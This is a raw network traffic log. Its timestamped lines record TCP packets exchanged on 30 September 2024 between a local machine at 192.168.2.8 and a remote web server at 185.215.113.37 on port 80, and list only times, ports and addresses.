Sep 30, 2024 12:33:20.368186951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368192911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368197918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368231058 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368238926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368249893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368252039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368261099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368273020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368278027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368283033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368299007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368324041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368386984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368433952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368453979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368488073 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368514061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368525028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368561029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368665934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368678093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368693113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368695021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368699074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368704081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368710041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368714094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368716002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368726015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368743896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368767023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368771076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368803024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368822098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368833065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368868113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368894100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368905067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368915081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368925095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368932962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368948936 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368957996 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.368961096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368976116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.368988037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.369014025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490168095 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490196943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490206003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490220070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490248919 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490529060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490580082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490596056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490606070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490629911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490643978 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490649939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490660906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490673065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.490686893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490701914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.490720034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491255045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491264105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491275072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491302013 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491316080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491327047 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491328001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491338968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491358042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491380930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491415977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491426945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491442919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491455078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491461039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491466045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491475105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491489887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491493940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491504908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491511106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491542101 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491612911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491703033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491713047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491739988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491744995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491750956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491779089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491801977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.491892099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.491993904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492002964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492019892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492028952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492034912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492038965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492048979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492050886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492065907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492078066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492161036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492171049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492181063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492196083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492207050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492207050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492216110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492218971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492227077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492237091 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492247105 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492253065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492261887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492274046 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492291927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492338896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492355108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492364883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492373943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492388964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492392063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492398024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492408991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492414951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492433071 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492444038 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492450953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492459059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492469072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492492914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492506027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492511034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492516041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492527008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.492546082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492558002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.492567062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493002892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493019104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493026972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493041992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493051052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493052006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493060112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493065119 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493069887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493091106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493098021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493103027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493112087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493112087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493140936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493215084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493228912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493238926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493247986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493262053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493273020 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493273973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493288040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493290901 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493307114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493326902 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493340015 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493350029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493359089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493367910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493377924 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493377924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493391037 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493400097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493410110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493418932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493423939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493433952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493448973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493472099 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493561029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493571043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493581057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493590117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493597984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.493599892 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493613005 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.493642092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.614729881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.614770889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.614779949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.614788055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.614804983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.614828110 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.614974022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.614984989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.614995956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615005970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615022898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615075111 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615420103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615472078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615497112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615505934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615528107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615540981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615562916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615571022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615581036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615591049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615616083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615639925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615864992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615915060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.615972042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615981102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.615992069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616003990 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616014004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616015911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616024971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616041899 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616058111 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616122961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616132975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616137981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616149902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616159916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616162062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616187096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616213083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616239071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616250038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616261005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616280079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616288900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616300106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616300106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616322994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616344929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616352081 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616360903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616395950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616422892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616431952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616439104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616449118 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616467953 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616472006 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616482973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616483927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616503954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616514921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616525888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616527081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616550922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616566896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616595030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616630077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616719961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616794109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616820097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616831064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616842031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616852045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616863012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.616866112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616878986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616914988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.616992950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617033958 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617038965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617049932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617079020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617088079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617090940 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617101908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617115021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617115021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617125988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617141008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617168903 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617281914 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617294073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617304087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617331028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617341042 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617494106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617527962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617538929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617549896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617563009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617588043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617633104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617677927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617685080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617717028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617789030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617799997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617810965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617826939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617851019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.617960930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617976904 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.617988110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618010044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618011951 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618021965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618031979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618036985 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618045092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618055105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618056059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618065119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618074894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618083954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618088007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618093014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618099928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618107080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618114948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618124008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618124008 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618133068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618143082 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618145943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618156910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:20.618160009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618185043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:20.618207932 CEST	49705	80	192.168.2.8	185.215.113.37
